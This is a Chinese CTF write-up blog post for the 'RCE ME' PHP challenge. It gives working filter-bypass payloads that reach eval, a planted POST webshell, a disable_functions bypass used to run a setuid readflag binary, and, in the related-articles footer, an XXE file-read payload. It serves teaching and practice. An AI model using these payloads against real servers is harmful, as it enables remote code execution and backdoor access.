首页 > 其他分享 >WEB|[极客大挑战 2019]RCE ME

WEB|[极客大挑战 2019]RCE ME

时间:2023-05-06 15:36:41浏览次数:44  
标签:ME WEB 极客 eval 8F% flag code __ 绕过

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

代码意思就是GET方式传入code,code长度不能大于40,不能是大小写字母和数字,通过检测后就可以执行code
绕过这里没有想出来,看了一些wp说是将要执行的代码取反然后urlencode编码,然后在地址栏再取反,但是这个方法利用失败

?code=(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90:urlencode(~'phpinfo')

后面在网上找到了其他wp
payload:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

构造一句话木马,使用蚊剑连接,在根目录下发现flag文件但是读取不到,还有一个readflag文件

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=@eval($_POST['shell']);


readflag文件为二进制文件,对二进制文件反编译得到代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
	seteuid(0):
	setegid(0):
	setuid(0):
	setgid(0);
	return system("/bin/cat /flag")
}

代码意思是执行这个文件就可以得到flag,但是执行phpinfo发现禁用了许多函数,所以需要绕过

这里直接使用蚁剑自带插件即可绕过

将执行命令的结果保存到文件,因为权限问题可以保存到tmp目录

/readflag > /tmp/1.txt 

得到flag

flag{ab15a1af-32c5-49cd-9d33-d0353c0df161}


也可以使用mm0r1/exploits项目绕过
其他常见PHP代码执行绕过方法见:浅谈PHP代码执行中出现过滤限制的绕过执行方法

标签:ME,WEB,极客,eval,8F%,flag,code,__,绕过
From: https://www.cnblogs.com/scarecr0w7/p/17377303.html

相关文章

  • vue思考与element-ui的代码基础
    说一下我对vue的理解在我看来vue就是对变量定义,之后把变量返回回去再由主题部分调用返回的函数,可以直接用调用的关键字而这个和CSS有一点相像与element-ui<divid="app"><!--在这放emement-ui官方给的代码--></div><scriptscr="vues.js"></script><scriptsrc="ele......
  • WEB|[极客大挑战 2019]FinalSQL
    提示点击获取flag,依次点击可以发现注入点应该是在id,id=5提示试试id=6id=6也没有什么特殊内容,对id进行了简单测试,发现存在过滤,fuzz一下,发现对if、and、空格和()等部分符号进行了过滤过滤字符可使用其他字符绕过,页面存在盲注入,存在非法字符提示“你可别被我逮住了,臭弟弟”,输入......
  • WEB|[红明谷CTF 2021]write_shell
    源码:<?phperror_reporting(0);highlight_file(__FILE__);functioncheck($input){#过滤字符if(preg_match("/'||_|php|;|~|\\^|\\+|eval|{|}/i",$input)){//if(preg_match("/'||_|=|php/",$input)){die(......
  • WEB|[NPUCTF2020]ReadlezPHP
    打开网页发现什么都没有,burpsuite抓包查看源码发现链接./time.php?source,访问链接发现源码<?php#error_reporting(0);classHelloPhp{public$a;public$b;publicfunction__construct(){$this->a="Y-m-dh:i:s";$this->b="date&qu......
  • WEB|[NCTF2019]True XML cookbook
    题目提示XML,直接抓包注入XML<?xmlversion="1.0"?><!DOCTYPElkj[<!ENTITYadminSYSTEM"file:///flag">]><user> <username>&admin;</username> <password>1</password></user>读取失败修改......
  • WEB|[MRCTF2020]套娃
    查看网页源码发现代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333'&&am......
  • Net Core Web Api 配置Swagger
    一、创建NETCoreAPI项目NETCore版本:NETCore2.21.创建coreweb应用程序2.选择API3.下图为生成后的项目二、安装Swagger1.打开NuGet包管理器2.搜索Swashbuckle.AspNetCore安装在项目上3.点击我接受三、配置Swagger对于ConfigureServices和Configure的配置点击可参考1.ConfigureS......
  • WEB|[SUCTF 2019]Pythonginx
    源码@app.route('/getUrl',methods=['GET','POST'])defgetUrl():url=request.args.get("url")host=parse.urlparse(url).hostnameifhost=='suctf.cc':#解析主机名,不能是suctf.ccreturn......
  • WEB|[HITCON 2017]SSRFme
    源码110.244.80.206<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$http_x_headers=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR']=$http_x_headers[0];}#获取......
  • WEB|[De1CTF 2019]SSRF Me
    页面代码为python代码,题目提示为SSRF,并且flagisin./flag.txt格式化代码#!/usr/bin/envpython##encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.se......